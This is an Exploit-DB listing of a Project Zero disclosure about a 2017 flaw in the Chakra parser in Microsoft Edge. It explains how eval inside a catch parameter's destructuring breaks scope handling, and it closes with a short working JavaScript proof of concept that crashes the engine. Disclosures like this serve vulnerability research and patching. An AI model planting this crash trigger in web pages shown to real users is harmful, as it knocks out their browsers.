Microsoft Edge Chakra - 'Parser::ParseCatch' Does Not Handle 'eval()' (Denial of Service)

EDB-ID:

42765




Platform:

Windows

Date:

2017-09-21


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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1326

In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.

ParseNodePtr Parser::ParseCatch()
{
    ...
        pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);
        ...
        ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);
    ...
}

1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.

PoC:
-->

function f() {
    {
        let i;
        function g() {
            i;
        }

        try {
            throw 1;
        } catch ({e = eval('dd')}) {
        }
    }
}

f();